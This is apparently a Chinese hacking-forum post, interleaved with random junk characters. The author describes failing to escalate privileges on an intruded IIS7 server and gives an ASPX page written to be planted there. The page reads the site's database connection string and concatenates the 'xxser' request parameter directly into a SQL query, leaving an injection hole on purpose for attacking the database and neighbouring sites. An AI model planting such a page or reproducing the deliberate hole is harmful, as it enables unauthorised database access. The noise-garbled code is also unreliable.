昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。' t4 ~' |4 V! `: R Z `
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
6 p3 _! [3 p; H8 w4 U) K代码量不多,自己写个拉倒了。烦死了。* d- @6 A4 K! Y# m" I' v, ~* [
6 O* @% d$ U& b X* E$ U' y
0 g( P( G5 ?7 [+ W/ ?. F& }<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">% R3 h' }; J/ B" H
<html xmlns="http://www.w3.org/1999/xhtml">% V( g: O8 u8 k5 Z$ `
<head runat="server">) K1 e7 |6 q- `, u% s2 j1 a
<title>暗影aspx构造注射专用页面</title>! {' G& m- \. j- m! d L8 U
</head>
' f; v0 }0 {* r- i% N# q<body>
# {* G; T) u. a, `: R& j <form id="form1" runat="server">
* U+ o5 F% e+ E3 z& f+ P1 C <div> i' k! t' Z, F
<script language="c#" runat="server">' A* L; a5 c- n7 O* D. h q
3 ^' j6 P/ m" H# ]. H" y void page_init(object sender, EventArgs e)
$ B; y' }# ?5 B$ z5 `# Q# w% E {1 t4 \8 j3 |! L$ }/ C; Y
3 a& c/ l( d, L( W$ k System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();1 K' e$ O6 `3 \$ s/ T) k
- m: i* r6 z% e/ T
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
) m2 `/ I' \; R) b conn.Open();
& T- i" a( p/ y6 z) i' H / [( k: Z$ S! Q$ i- P
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=18 @- {6 v" C5 j! b
6 }3 A: g0 N# x% }# M( x) ~- f
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
! T8 M' w- J) ~6 A/ L7 k1 B: Q7 Y int x = command.ExecuteNonQuery();
. ]# J& _, l7 P! V3 t Response.Write(i+"\n");
& V5 g+ s5 |# Q4 R# N( ? Response.Write(x);$ p! v. X7 O% z) M6 `8 U
conn.Close();* \/ A- }( s( g( e$ y2 d4 l. ^
}, D. f' F2 {* `/ s: Z" p& T( n
! t) ~- L! k8 r5 ~ </script>) w6 \. G* v5 p# t- C
</div>) C5 b& x) Y' z# q6 V
</form>2 |8 H: M$ j, g: |: F+ X" d# h
</body>
7 v! e R3 ~& S; n3 b" V</html>
8 E# Y* \* j& P# \& ]: z |